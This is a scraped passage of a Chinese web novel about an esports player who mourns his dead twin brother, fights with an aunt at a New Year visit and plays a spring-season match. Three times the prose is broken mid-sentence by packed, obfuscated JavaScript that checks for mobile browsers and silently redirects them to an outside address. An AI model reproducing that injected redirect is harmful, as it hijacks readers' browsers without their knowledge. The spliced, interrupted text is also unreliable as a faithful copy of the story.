“我前两天做了各战队的数据分析,我猜测今年春季赛开启的队伍有差不多13支,你们SAB可能会遇到UNP、HTT和零域,”宋星辞一本正经地说,“我待会儿回寝室发给你,你可以参考参考。” 人以群分,宋星辞打K的天赋不及双顾高,也实实在在混了个通天代的名号,还没有高考时他靠代打都把自己第一年的大学学费挣了出来,后面勉强考了一个民办二本。 大学业余充足的时间比较多,他仍然在做代打,在热门直播平台上,他有一个快将近十万粉的号,专门成立了陪玩团,招的大多是技术陪。 对于KG电子竞技的钻研,宋星辞当初只是想离双顾近一点。 他还想证明,三人行也有真兄弟情! “你......”顾听双手托腮看着他,长睫缓慢地眨动,“星辞,你怎么这么好哇。” 宋星辞佯装轻咳,食指推开顾听粉色碎发覆盖的额头,“为兄弟两肋插刀,我义不容辞。” “哟,他还改不掉他那江湖风,”顾越抱手笑,“宋星辞你能别当古风小生了么?” “所以,叫爸爸。”宋星辞贼兮兮地说。 “嘿,老子——”顾越撸起袖子。 “滚蛋。”顾听说,侧头看向他哥。 宋星辞以为他在看右边的床位,结果他转头发现帘子严丝合缝地拉过来,是刚刚医生进来给18床换药避免隐私。 “阿听,你在看什么?” 春节期间俱乐部只放了四天假,顾听庆幸提前半个月抢了票。 那时他的确在回与不回之间辗转悱恻,转念一想,随着时间迁移,能够回家的空闲几乎没有了。春运的票难抢,买了总比没买好,宋星辞没和他同一航班,他大学放寒假早,本来他还想等,顾听处于不确定的因素,让他先回家。 除夕夜的前一天,俱乐部冷清得紧,基本只剩下两三个青训生和顾听没走,老韩下楼准备去送文件,刚好碰见单肩背包打算赶机的顾听。 他低头看手机打车,脚边堆放着各类年货,没注意身后的老韩看他背影许久。 两个人,一个人。 俩少年身形优越高挑,喜欢穿同色系的衣服,老韩之前经常会认错,把顾越喊成顾听,顾听喊成顾越,这一瞬间,背影重叠,事情已然过去了这么久,他依旧无法习惯。 顾听粉发上所戴的冬帽,老韩再熟悉不过,顾越当时只给他弟弟织了一顶,后来一队的其他队员开玩笑地闹,顾越给基地每个人都织了一顶。 他也有。 兄弟。 老韩没忍住遗憾地叹了口气,引得顾听往后看了一眼,放下手机打招呼道,“哎,韩队。” “去机场啊?”老韩收敛神色,下颌示意,问。 “对,你去哪儿呀?”顾听说。 “去总部提交春季赛战队的资料,”老韩说,“走吧,我送你一趟,见你打车半天都没来。” “那谢谢咯。”顾听笑了笑。 一路上,老韩嘴巴没停地唠嗑,到了机场他也下车倚在车门朝顾听挥手,“回家记得在群里面报个平安啊,新年快乐,小听。” 顾听歪头,笑得弯眼,“嗯,你也是,新年快乐。” 直到他走进安检,淹没在人群当中消失不见,老韩才收回目光坐上车发动离开。 顾听的家乡在贵州安顺一个自治县区里,老妈布依族人,老爸汉族人,他的户口跟着老妈。 若是当年走读书这条路,算上少数民族的加分政策,说不定他还能考一个好大学。 往往就是这一念之间,人的命运随之改变。 从前他和他哥巴不得春节到来,这样就可以回家,如今倒有些近乡情怯了。 登机前老爸给他打了通电话询问落地时间,到时他好来接他。果不其然,顾听刚出站,老爸身上穿着昨年他买的夹克,那一夜之间的白头格外刺眼,面容沟壑深皱,皮肤又黑了点。 开了将近二十年的公交车,老爸辞职没再干了,跟着老舅在外地跑生意,似乎想用忙碌忘却某件事。 “听儿!”老爸使劲儿朝他挥手,大声说。 顾听双手提起年货,身子灵活地穿梭,“不好意思啊,不好意思,让一让——” 随即,父子俩来了一个大大的拥抱。 “小子,又瘦了,”老爸巴掌夯实地拍在他背脊,“俱乐部不给饭吃吗?” “没瘦,”顾听比老爸高了一大截儿,闻言弯腰扯了扯自己的脸,“你看,脸上有肉呢。” 老爸大笑,帮他接过年货,“你从小就脸有肉,怎么又买这么多,我不是和你说了,我跟你妈都买了么,真是的......” 年货放到后备箱,老爸还像小时候那般,揽着顾听的肩把人塞进座位,从见到儿子起笑容就没消过,喃喃自语说,“嘿,还在长身体呢,感觉高了不少,都快要超过你哥——” 老爸面色一僵,话语戛然而止,很快打哈哈地转移话题,“你妈知道你要回来做了一大桌子菜,奶奶也接过来了。” “嗯。”顾听看着老爸,抿唇轻声应。 下午的航班,回到家已经快八点了。小区里的各幢单元楼灯火通明,他住了十多年的家,千禧年的楼层使得看起来复旧老气,与旁边新建立起来得楼盘形成鲜明对比,保健设施已经生了锈。 不知道为什么,明明每年都要回家,今年心境却格外深沉。 大概,第一次只有他一个人。 “走吧。”老爸停好车,冬天湿冷的天气让他嘶了口寒气,脊背稍微佝偻的大步走在了顾听前面。 顾听调整好心绪,跟了上去。 单元楼没有电梯,他家在六楼,这道楼梯间充满了儿时的欢声笑语,恍惚间,顾听仿佛看见两个幼小的身影从他身旁掠过,夹杂着顾越的嗓门,“小听,快点哦。” 钥匙插进锁孔,顾听猛然回神,不知不觉已经走到了家门口。 “妈,丽萍,小听回来了。”老爸在门口脱鞋,喜笑颜开地说。 “小听回来啦?哎哟,小听回来啦!”奶奶迫不及待地起身来到门口张望。 “奶奶。”顾听笑着打招呼。 “奶奶可想你了,来,快来。”奶奶去拉顾听的手。 顾听被奶奶拉到沙发上坐下,老爸叫他陪陪奶奶,继而去厨房帮忙碌的妻子。 徐丽萍听见丈夫推门而入进来,匆忙用手背揩了揩脸,面无表情地拿起盐罐。 “拿错了,这是糖,”顾斌从调味架中取出盐罐递给她,说,“小听到家了。” “我没聋。”徐丽萍淡淡地说。 “你.....你待会儿多关心关心儿子,”顾斌说,“我在车上问过他,他们这次只放四天假,贵州离上海又这么远,待不了多久马上要赶去训练。” 锅里炖着顾听最喜欢吃的芸豆蹄花,徐丽萍垂眸,不轻不重地嗯了声。 厨房门又一次被推开,顾听深嗅,轻笑说,“好香啊,妈妈。” 徐丽萍女士的手一顿,脸庞没有笑,也没有看他,语气柔和地说,“都是你爱吃的。洗洗手,吃饭了。” 明天才是除夕,今晚因为顾听的回家,算是提前过上了年。 饭桌上除开碗筷的碰撞,有一搭没一搭的聊天声显得家中烟火气息浓郁,如果再多一个人。 “什么,二月份又要比赛啦?”奶奶惊呼说,“那我又可以在什么直播,看见我孙孙了?” “是的,奶奶。”顾听点头说。 “真好哎,”奶奶乐道,“虽然我看不懂,但看得见小听的脸就可以了。” “就是上个月你比赛吧,家里的网线被老鼠咬坏了,你奶奶急得不行,找人帮忙弄手机数据,差点被诈骗,”老妈眼波没什么起伏,平静地看着他说,“幸好发现得及时,不然养老金全骗走。” 顾听一愣,有些不是滋味,“奶奶,会有重播的,咱们不一定非要看直播,好不好?” “担心和意外这种事情在将来还会发生,小听,”老妈说,我之前和你商量的事儿,你再好好考虑,我不能......” 老妈终究强装不下去了,嗓音哽咽,老爸轻拍她的肩,“咱别说那些好吗。” 奶奶心疼的眼神在母子俩当中来回扫过,无声沉默。 “我不能再失去你了。”老妈深吸一口气,还是说完整句话。 卧室的规格没怎么变,唯一变化的可能就是那架床,由先开始的上下床换成了一个人所睡觉的大床。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16531228|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书桌陈旧,上面刻画着圆规划痕,书籍和作业本被老妈给收纳到书柜里去了,不过书柜是老爸纯手工找木材做给他们两兄弟的,有点小,最高的那一层摆放着顾越夺冠的冠军奖杯。 他哥的荣誉占满书柜,继而有几本书还是拿出来放在了书桌上。 旁边墙壁贴着他哥喜欢的科比的海报,他所喜欢的湘北小个子宫城良田穿插在中间有些不起眼。 顾听往后退了一步,如释重负地放任身体倾倒在床第间,双眼注目着天花板,身侧的床垫凹陷,顾越唏嘘道,“大床躺着就是舒服。” “哥。”顾听轻声道。 “嗯?” “新的一年了呢。” “对啊。” “我还是不太习惯。”暖黄的灯光照射瞳仁,顾听闭上眼睛说。 “不习惯什么?” “不习惯没你的日子。” “我在啊,我一直在你的身边,”顾越揽住顾听,叹气说,“不要给自己太大的压力,嗯?” 顾斌进门看见顾听呈汤勺式蜷缩,明明站起来高挑修长的一青年,此时此刻彷佛才出生的婴儿般弱小。还记得小时候弟弟就喜欢这样子睡觉,哥哥对待他如珍宝,从背后抱住他,怕弟弟着凉。 顾听被子没盖,衣服没脱,眯在床上睡着了,身后再没有哥哥为他取暖。 西南地区很少用地暖,更别说像这类千禧年的老小区。 徐丽萍知道顾听要回来,给他装上新弹的厚棉絮,刚又担心儿子会嫌冷,让顾斌从柜子里翻出毛毯。 顾听眯得很沉,老爸给他脱完衣服和鞋都未惊醒,直到棉被毛毯一同厚厚地盖在他身上,熟悉的掖被角的响声将他从跌落梦境中唤回,迷茫地睁开眼。 “你这孩子,衣服都不脱就睡着了,”老爸低声说,手中动作不停,还把顾听那款黑色羽绒服搭在了上面,“你妈叫我给你拿床毛毯,现在还冷吗?” “不冷了,爸爸。”顾听沙哑地回。 “不冷就好,快睡吧,”老爸笑了笑,眼尾皱纹密布,“还是家里睡着舒服对不对。” 棉被遮住了他的大半张脸,只剩下明亮上挑的眼睛,长睫颤动眨眼。 老爸看懂了他无声表示的意思,又低声说了一遍,“睡吧。” 初二回外爷家过年。 这是他们家固定的习俗,每逢初二必回娘家,但兄弟俩惯常不喜欢。七大姑八大姨一年中难得聚在一起,那话说不尽似的,偏偏子女争气,聊着便变了味儿,沦为阴差阳错的攀比。 老妈排行老四,处于中间地位,上不能忤逆大的,下不能欺负小的,儿子俩都是打游戏的,一整天待下来耳根子烧得通红,前年顾越没忍住当场掀桌,昨年才稍微好一点儿。 其实今天去拜年,老妈预想过会发生什么场面,叫顾听待在家里,她和老爸去应付。 顾听没同意。 抵达已快中午,老妈摁响门铃来开门的是三姨。 她看见顾听,惊讶道,“哎呀,小听也回来了?” 很普通不过的招呼,可话茬里的语气,再配合上下打量他们一家的眼神让顾听略有些不舒服,他保持着礼貌和煦的微笑,回道,“三姨,过年好。” “过年好,过年好。”三姨的眼神儿依旧没从顾听身上移开,尤其是在他那头粉毛上停留许久,侧身让出进门的宽敞空隙来。 客厅里坐着一大圈儿亲戚,一一打过招呼后,老妈脱掉羽绒服,往厨房里瞧了瞧,“我去打下手。” “有你大姐和二姐呢,再进一个厨房都站不下了,”外爷说,“小听,来,坐我这儿来。” 老妈在背后暗中轻推了顾听一把,外爷身边正在玩KG手游五排的弟弟妹妹依次挪动,腾出位置。 “最近状态好吗?”外公笑得慈祥,握住他的手问。 小姨的儿子抱着手机移不开眼地插了句嘴,“听哥状态好个屁呀,世界赛都打输了。” “小阳!”小姨剥着橘子,闻言喝止。 顾听对这位六岁的表弟没在意地笑笑,“挺好的,外爷。” “今年没小越真不习惯,”三姨叹气说,“丽萍啊,我们劝你的你要听进心里面去。” “姐,咱不提小越。”老妈眼神一暗,笑着说。 “对,不提,”老爸接话道,“不提。” 而后三姨话题一转,转到了顾听身上,“小听才19岁吧,这么小,还有很多机会的呀。小听,不是三姨说你,你也要为你爸爸妈妈着想,他们年纪逐渐大了,你哥哥不在了你就是独子了,打游戏总归是没前途的,你看看你表哥表姐,找一份稳定的工作有什么不好.......” 什么哥哥不在,他就是独子。 “三姨,”顾听冷了脸,嗓音温和地打断,“您还是少操一点心,或许可以长命百岁,网上说操心引起的疾病症状可多了。” 15.第 15 章 “你什么意思?”三姨脸色一变,嗓门儿一下变得尖细。 “少说两句,丽红,”外爷不耐烦地蹙着白眉,“大过年的,这是在干嘛?” 气氛冷凝,几个玩游戏的小辈不明所以地舍得从手机中抬起头扫了眼大人。 本以为老妈会像往年一样顾及着情面,最起码要等到饭吃完再离开,毕竟头上还有两位老人,谁知这次老妈倏地起身,拿着搭在沙发扶手的羽绒服匆忙套上,“走了小听,走,顾斌。” 一旁的老爸了然地应了声嗯。 “丽萍,饭都没吃呢。”外爷开口制止。 “今儿这饭就没法吃,爸。”老妈冷笑回。 “怎么就没法吃了?别闹脾气丽萍,快回来坐着,”外爷说,“你妈她们都快把饭做好了,一家人好不容易过年聚一聚,你走了成何体统。” “怕是待会儿会吃的不愉快,”老妈淡淡地说,“哪年不是这样,我们家何时轮得到你们评头论足?” “四妹,你说这话我可就不爱听了,”三姨吊着眉梢说,“好心劝你,你说是评头论足,当年小越小听执意要去打那劳什子游戏,如何呢?” “三姐,别说了。”五姨担心地出声提醒她。 “嫁顾斌由着你,孩子走什么路也由着你,现在你也只剩下了小听,当姐姐的总归是不会害你的,你反倒不领情了,小听不懂事,你也不懂事儿吗?哦,最倔的还是小越,当初执意闹着要打游戏的是他吧?结果什么下场——” 顾听脸色骤然沉得吓人,他松开攀着妈妈肩膀的手,转过身直冲三姨而去,成年男生的高挑骨架阴影压迫,众亲戚眼疾手快地拦住了他。 “我哥什么下场?”顾听红着眼沉声质问,“你说,我哥什么下场?!” “小听,小听!”顾斌从背后抱着儿子的腰,但少年情绪失控了,他险些没抱住。 “徐丽红,你他妈再逼逼赖赖我们家一句试试,谁准你说我妈,说我哥了?!”顾听努力让自己冷静,从始至终嗓音都很平稳,可咬牙挤出来的话语抑制着极致的怒火。人不可貌相,他平常看起来温温柔柔,但发起火来周身气压沉迫,无人能劝得动。 三姨吓得面容苍白,没想到顾听那架势是真的会揍她,揍她一位长辈。 她以为这是顾越才会做出来的事儿。 “哎,怎么了怎么了?”外婆和其他两位姨妈听见声音从厨房里出来,茫然地问。 “以后初二我不会再回来了,”老妈拉着顾听的胳膊,摸了把脸松气说,“既然做不到尊重,那就算了。” “到底怎么回事儿啊!”外婆焦急说,“饭都好了,怎么说走就走了呢!” 老妈懒得废话,牵起顾听的手腕儿,头也不回地走出家门。 手机铃声接二连三地在车内响起,吵得人心烦意乱,老妈直接将手机关机,顺便把中控台上老爸的手机打开了飞行模式。 一气呵成。 今天算是当着所有亲戚的面儿,被压了几年的老账一起翻了脸。当初顾越在,还轮不到顾听耍混,从小到大别人口中的乖孩子一直都是顾听而不是顾越,但不代表顾听真是软柿子任由谁想欺负便欺负。 兔子急了还咬人,更何况三姨今日字字往老妈的心上戳。 顾听想,何必呢?为什么总有人喜欢将优越感建立在别人的痛苦上? 此刻理智回笼,他低垂长睫,搁在膝盖的修长手指张开又合拢,刚才的一幕幕循环在他脑中,那抹堆积的郁气久久无法消散,他已经很久没有像这样生过气了。 有哥哥在前面充当KG里的吞噬盾牌,这玩意儿多数用来突反搭档,可以吞噬游戏中一切不利于突破手的东西技能,反侵者扮演着骑士的存在。 所以他用不着生气。 “小听长大了,”顾越怜爱的眼神看向他,“有时候就该这样,不然他们认为你最好欺负。” 顾听没有用视线回应他,还是长睫敛住眸子,薄唇微抿,绷成一条直线透露出少年的倔强。 “徐丽红是老妈的姊妹中过得最好的一个,老公是211大学教授,表哥又在国外深造,她眼高于顶确实是有资本,”顾越轻呵了声,“看在她是我妈的姐,我们的姨妈,有些时候顾及着情面不想撕得太难看,什么鬼亲戚,我当初的火发得还是不够大,竟然欺负到你头上来了。” 顾听鼻尖一酸。 欺负。 是啊,无论是在游戏中还是现实里,他曾经从来没有受过欺负。 手背倏然被握住,顾听抬眸,眼前映入老妈带笑的容颜,“小听,待会儿想吃什么?” 顾听嘴唇蠕动,最终也笑了起来,“酸汤火锅吧。” “行。” “正好,后天你回到基地就吃不到家乡这一口了。”老爸唏嘘说,“这两天在家就多吃点儿,听见没儿子。” “嗯,”顾听应,“听见了。” 顾听家亲戚的情况,宋星辞了如指掌,所以当他来串门不用问都知道昨天会发生什么,比较意外的大概就是一向情绪稳定的顾听火得会动手。 然而得知缘由,宋星辞觉得顾听还是太给他们脸了,换作是他可能会闹得天翻地覆。 顾越是顾听心中无法抹灭的尖锐的刺,是什么也不能被取代的存在,也是他仨从小一起长大回忆和家人的痛苦。 所有人囹圄在“顾越”的梦魇之中。 “明天就走了?”宋星辞站在书柜面前凝望奖杯,问。 “是的。”顾听收拾着父母给他准备的东西,回家一身轻松,返程满载沉甸甸的爱意。 大多数是老妈自己做的特产,尤其是辣椒酱,估计拿回基地陈述又会发出尖锐地暴鸣。 “这次回来,徐姨没问你官司的事儿吧?” 顾听的动作一顿,继续收拾,“没有,我也没打算说,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他一路回下来,游迩成为他最后一个回复的对象,时间显示除夕夜零点,说明游迩那天是第一个给他发的消息。 -UNP游迩:新年快乐,希望新的一年你天天都很快乐。 这个口吻......顾听怎么觉着很熟悉? 而且他俩,有这么熟吗?他俩面儿都没见过。 出于礼貌,顾听回复道:谢谢!不好意思现在才看见消息,也祝你新年快乐≥v≤! 他刚准备退出界面,认为奏折已经批完了,却看见上方id显示对方正在输入中,跳动,停止,循环了几次,始终没见对方发消息过来。 终于。 -UNP游迩:没关系,。 纠结了两分钟就回了三个字,连标点符号都打错了,顾听不由得有些失笑,又回了一个表情包。 -SAB顾听:【卡皮巴拉搓肚子.jpg】 16.第 16 章 春季常规赛如期拉开帷幕。 赛事规则按照老样子,BO3双循环积分赛制,所有参赛队伍都要与其他队伍进行两次比赛,一次作为主队,一次作为客队。若是比赛获胜的一方将会获得积分,失败的一方则不积分。 在官方随机优先选边抽签环节中,上海SAB第一轮对战广州HTT,主场在广州国际电竞中心。 比赛前一周。 新年的四天假并没有磨灭队伍的精神气儿,可能因为年轻体质好,加强的训练反而让一队有些亢奋。 顾听也是。 春季赛在KG里被竞粉调侃为“口碑赛”,那些在KWC表现不好的战队尽可能在这上面挽回些许口碑,让槽点少一点,期许多一点。 如今备受瞩目的SAB说第二,没人敢称第一,尤其是一队队长顾听,从前到现在,很多人不服他的技术不服粉丝狂吹的造神,键盘可以说随时为他准备着。 而自带队打世界赛中断三连冠之后,顾听迎来他的第二次带队打入春季赛。 压力颇大。 不过顾听并未将压力当回事儿,数据分析师在他几次训练依旧得出全能六边形战士的数据时,他大概明白过来,无论如何这场比赛他都不会被打败。 “紧张吗?”老韩问。 今晚解散得早,明天将会启程飞往广州作赛前准备,老韩单独留下顾听在训练室谈话。 说起来,他也是看兄弟俩“半成长”的,当初个子那么瘦小,这会儿站立都比他高上一个头了。 “我叫不紧张。”顾听笑了笑。 “嗯,那就好,”老韩若有所思地点点头,“还是那句话,虽然我觉得你应该都听臭了,不要给自己太大的压力。” “没有呢,韩队,”顾听有一搭没一搭地点着鼠标,反倒宽慰起老韩,“别担心呀。” 老韩注意到他这个鼠标,“哎,你这个用了好久吧?” 顾听轻嗯了声,“我哥送的。” “四年了,按理说也该换新的外设了,但是它很好用。”他又补充道。 “很多选手打比赛讲究手感,换新外设在赛场上可能还不习惯,影响心理状态,”老韩顿了顿说,“当然要实在用不了了,不得不淘汰。” 鼠标是顾越打赢几场比赛得到的第一笔奖金,送给顾听的生日礼物,那时候他甚至都不舍得给自己换外设,花高价定制了电竞选手专用的鼠标。 一晃已有很多年。 “二队那两个和你们磨合的咋样,当替补够格么?”老韩问。 “很棒,”顾听思虑说,“我觉得青训中有位打突破的少年也很厉害。” 老韩讶异,“你怎么知道?” “那天路过偶然观战了几分钟。”顾听想起那天晚上的少年,打法勇猛,提枪狂干,突破手最重要的特点就是不扭捏,不给敌人任何发现破绽的时间。 “我记得青训生打突破的只有一个,叫什么来着......”老韩回忆了半天,“哦,叫秦疏。” “情书?”顾听乐地蹙眉。 “对,秦疏。”老韩肯定自己的记忆力,看了眼时间,“不早了,快回去休息,后天比赛.....加油哦,少年。” 场馆外围拉满警戒线,站在限定区域来支持看比赛的竞粉人满为患,欢呼声震震,手中拿着应援海报和灯牌。 一辆大巴停至门前,开门,SAB的队员从车上下来,黑黄队服标志性的骑士拿双剑交叉Logo,代表着队名sweep all before one(所向披靡),他们一一对粉丝挥动手臂笑着打招呼,当顾听下车时,周围的声音明显高昂了几个度。 顾听大幅度地展开笑容,梨涡浮现挂在嘴边,一双桃花眼明亮上挑,身上的少年气息肆意绽放,对其中一位女粉的应援海报里的内容竖了个拇指,口型说了句“谢谢你,我很喜欢”。 “啊啊啊啊,他回应了!他回应我了!”女粉激动地要哭了。 “什么什么!你写的什么?!” “姐妹你好幸福!” 粉丝众人扭头看她的海报。 一张她约的顾听二次元人物形象的自设画稿,粉色狼尾上面趴着考皮巴拉的小挂件,嘴里还含了根棒棒糖,语言气泡里大写加粗的两个字:行吧! 下方小字:我就是一只卡皮巴拉,你惹了我等于无事发生。 “难怪他会回应你,是我我也喜欢!” “姐妹太用心了!” 距离比赛还有一个小时,两方战队的电竞选手各到彼此的休息室等候,与此同时,前方赛事大屏连接直播平台全部到位就绪,新春开赛的第一场,KG游戏实时热度不减反增,尤其首发战队还是世界赛颇具争议的SAB。 “我一直都很好奇。”陈述开口打破休息的沉静。 “好奇什么?”彭于渺问。 “刚刚那么多粉丝里,会有在网上骂我们的吗?”陈述发出真诚地疑问。 “傻子,”魏寻也真看傻子一样的眼神看陈述,“肯定有,你要相信他们骂是骂,但依旧会支持,比如国足。” “啊,我们应该不会激发‘rnm退钱’的buff吧......”陈述弱弱地说。 “哎,说什么呢,”岳群不赞成地瞥了眼陈述,“你一天嘴巴没个把门儿的。” “不会,”顾听说,“肯定不会。” “我相信队长。”魏寻也说。 “米兔。”彭于渺说。 老韩和一位工作人员敲门而进打断他们的聊天,“组委会检测外设了,备案后会安装调试。” 这是一项必不可少的流程,KG官方对外设这方面管得很严,预防选手打假赛。当然还有一项流程让选手们倍感费解的,化妆。 可能是给看直播或者现场的观众呈现一种良好的视觉效果,化妆师会给选手简单上一层底妆,至少让脸色的气血看着很足,还会检查选手们的着装,必须穿俱乐部的队服,不能随意穿搭,禁止短裤、拖鞋不符合比赛形象的装扮。 之前有人吐槽,比赛就比赛,哪那么多条条框框的规矩。 “老岳,你记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545410|186116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得再给他们讲一下赛前指导。”老韩接过几个人的外设包,临走前提醒了句。 “好的,”岳群应道,转过身目光投向顾听,轻松语气问,“队长,把握有几成?” 顾听沉吟片刻,“十成。” 身后队友明显发出惊讶地抽气。 兄弟俩相似的眉眼逐渐重叠,顾听温婉柔和的眉眼透露出几分顾越的凌厉锐气,岳群看着他,拍了拍他的肩道,“加油。” 双方选手到了入场时间。 导播的镜头从三位解说中转移到选手脸上,解说话语也跟随镜头一一朝线下线上观众介绍。 解说小丸说,“好了,接下来是我们来自上海SAB战队的队长,队内突破手位置,Listen!除开Cross,Listen可以说是国内外数一数二的顶级突破手了,去年KWC只过去了一个多月的时间,Listen第一次带队SAB有些小遗憾啊。” 解说辣辣点了点头,“不过今天Listen看起来状态不错,非常期待这次他在春季赛中的表现呢。” “感觉宇宙一副没睡醒的样子,是我的错觉吗?”解说Skr来了句。 “哎,好像真是,”解说小丸说,“五个人对比下来,宇宙的黑眼圈好明显。” 樊宇卿坐在顾听的右手边,在调试设备的过程里,他还差点拿错顾听的鼠标。此刻他们五个人耳朵都戴上了耳机,除非比赛正式开启音频,这会儿彼此交流是无法听见的。 顾听用胳膊肘撞了一下他,樊宇卿扭头蹙眉,咂摸了声,样子不耐烦,见顾听用手指指着鼠标,他才反应过来拿的是顾听的鼠标。 他有些尴尬地松开握鼠标的手指。 一切准备就绪,两方队伍开始投票选图。 “贡寨6票,热芒乐园4票,这局是夏天局。”解说辣辣笑着说。 解说小丸:“贡寨也是KG里热门地图之一,一般各种赛事投票排名选择的话,塞壬小镇>贡寨>哈库呐玛。” 解说Skr:“SAB为防卫队啊,HTT掠夺队,Listen一往不变地拿出了安雅,对面HTT的突破手锁定了伊森,从某种方面来讲,KG当初出的伊森角色就是为了克制安雅的近突。” HTT的队长林川,队内也是突破手,顾听和他关系属于是在学校班级里能勾肩搭背一起吃饭的程度。 线下是好朋友,线上当对方的敌人,刚刚上场友谊握手林川还打趣他说粉毛褪色了,像奶油色的小金毛。 “樊哥和我打二突。”顾听开局平静地下指挥。 贡寨又被玩家称为“亚马逊”,地图构造依据现实里的热带气候,其中就包含雨林。所以解说看见投票选图才会说出那一句这把夏天局。 贡寨适应快节奏,顾听结合先前训练总结下来的战略计划,认为在有些时候,旧版本的打法反而更适应新版本。 他没有犹豫地选择突反前包,狙击协防善后,爆破全图游走,贡寨地图面积小,资源丰富,关键时刻可以放任队友去闯,前提是,不能毫无章法地乱闯。 17.第 17 章 解说辣辣:“Listen很有想法啊,直接了当地让宇宙和他配合打二突战略。” 解说小丸:“我记得S8赛季最流行这种打法吧,当时冠名为‘剑与盾牌’,双人配合的强力战术简直无解,但弊端是队友必须有百分之九十几以上的默契,否则很难打出精彩的场面。” 在KG中,五个固位不一定非要按部就班,比如魏寻也现位置爆破手,照常可以背枪打突破,这个得看队伍的进度变化,若是拖到后期敌人难缠,协防者无暇顾及队伍资源情况需要有自保能力。 而二突,意思是反侵者化形突破手的影子,一个是骑士,一个是后背。 樊宇卿简短地应声,“行。” “先去军工厂扩充物资,”顾听说,“找机会摸进掠夺队的区域。” 贡寨的中心是军工厂,资源丰富,并且物资等级高,建筑布局紧凑掩体多,适合打团战消耗能量,路人玩家玩儿时经常会在这里争夺资源频繁战斗。 “队长掩护一下我,”魏寻也的角色标点已经进入了军工厂的房区,“我发现对方在这边埋了82-2。” 82-2,KG中杀伤力剧猛的钢珠手雷,爆破范围半径长达7米,只要踩中离得较近的队员会跟同一起牺牲。 拆雷也靠捡取物资得到工具,魏寻也来到化学实验内的保险柜,用解锁卡解锁,耳机中传来脚步声。 不是队友。 解锁过程还有三秒,魏寻也操控角色架好背在肩上的突击枪,打算在队友赶来之前对拼。 “我来了。”顾听嗓音清冽沉稳,像镇定剂打在魏寻也的心头,门外爆出连发的子弹枪声,保险柜被打开了,他取出当中的雷达拆雷仪器。 [SAB-Listen已在化学实验室成功击杀HTT-山川] 解说Skr:“这一波打得漂亮!Seek独闯军工厂实属是没有想到,估计HTT也有点懵,以为是埋雷结果他是奔着保险箱中的拆雷仪器,Listen赶来时间恰到好处啊!” 首局顾听拿下一血,为SAB开了个好头。 可是—— 在十分钟后爆发团战时,樊宇卿擅自撤离掉点,导致对面HTT喜提三杀,就只剩下顾听和魏寻也存活。 这让队伍里的资源损失了大半,HTT已经占领他们区域一号营地,拆掉了魏寻也埋的所有雷。 魏寻也哽着一口气,冷声说,“樊宇卿,你在梦游吗。” “这能怪我?”樊宇卿窝火地说,不承认自己的失误。 见二人开始内讧要持续吵起来的程度,顾听淡然打断,“别吵。” 一号营地离他们枪的基地极近,况且这局HTT身为掠夺队,只要抢夺枪支胜利,游戏结束。顾听没有再指挥樊宇卿,让彭于渺和陈述架到最高点包抄,魏寻也侧面防爆,对HTT进行驱逐。 必须得将他们驱逐出去,否则第一局直接G。 他的速度快得离谱,安雅左手爪刀右手死神,借助掩体对敌人扫射,走位让人梦回初赛场上的那一幕。 HTT在SAB极度火力压制下,被迫转移阵地,离开了防卫队的区域位置。 好在这局HTT掠夺失败,SAB险胜。 可没想到,第二局因为樊宇卿的频繁死亡,HTT扳回胜利,现在状况为1:1,比赛已经来到了赛点,若是第三局两方战队谁赢得胜率,首轮积分就会积累其中。 休息十分钟间内,樊宇卿主动提出换替补上场。 组委会确定好名单,SAB二队的周颂昀担任樊宇卿的位置打第三局,五人重新返回赛场落座,镜头顿时对准扫过他们的脸。 顾听面无表情,无法透过那双眸子看出他在想什么,不过他旁边的周颂昀倒是比较紧张,魏寻也最不淡定,感觉他已经快压不住骂人的决心了。 解说小丸:“宇宙今天看起来状态确实不太对啊,前两局的掉点和失误全是他一个人,若不是Listen在第一局力挽狂澜,恐怕SAB首战将零封。” 解说Skr:“就看这把的替补能否改变一些局面,让队伍打得不那么费力了。” 老韩有意让周颂昀这次上场打替补,他在俱乐部中个人素质都还是比较乖的一小孩儿,但是技术可能在素人里为顶尖的存在,放到职业选手中便有些微不足道,属于是比上不足比下有余。 赛前他和一队训练了几把,即使游戏技术有待提高,总比樊宇卿乱送人头拉胯队伍好。 顾听没再选择安雅,而是人物角色的姐姐安妮。 也是他哥哥的本命角色。 当初KG才出来这对人物时,顾听读完小传,总觉得心头有股萦绕不散的羁绊。 安雅和安妮是一对亲生姐妹,那一天,家园圣丽拓被战争侵害,姐姐毅然决然地去参军,却没想牺牲在了战场上。从小受姐姐保护下长大的安雅,为了自己的国家和报仇杀害姐姐的仇人,磨练自己,终于成为了一名优秀的战士。 “小听,我会像安妮保护安雅那样保护你。” 顾越哥惯常没个正型,唯独说这句话时,他黑眸中的倒影全是顾听。 “队长......”打到后期,周颂昀看着战绩面板越发迷茫,操控角色不知道该怎么做。 “复活后直接来我标的点,”顾听对他说,“然后跟在我身后。” “嗯,知道了。”周颂昀呼出一口气,点头说。 